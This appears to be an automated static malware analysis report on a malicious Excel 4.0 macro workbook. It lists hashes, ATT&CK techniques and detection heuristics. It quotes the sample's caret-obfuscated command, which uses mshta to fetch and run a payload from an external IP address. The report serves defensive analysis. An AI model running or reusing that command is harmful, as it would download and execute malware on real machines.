Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 bb1f500a59544aa8…

MALICIOUS

Office (OLE) / .XLSX

64.0 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 6c23aab5ed898b3b5629c8c6a91c96c3 SHA-1: 603910f1c1df4c58bf59eec256d6957f0e0a9184 SHA-256: bb1f500a59544aa8e44a0377cc506dfbebca1ecb7a8c73dc72d3268803976ff5
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', which downloads and executes a payload from the specified URL. The document body also contains a lure to enable editing and content, further supporting the malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes

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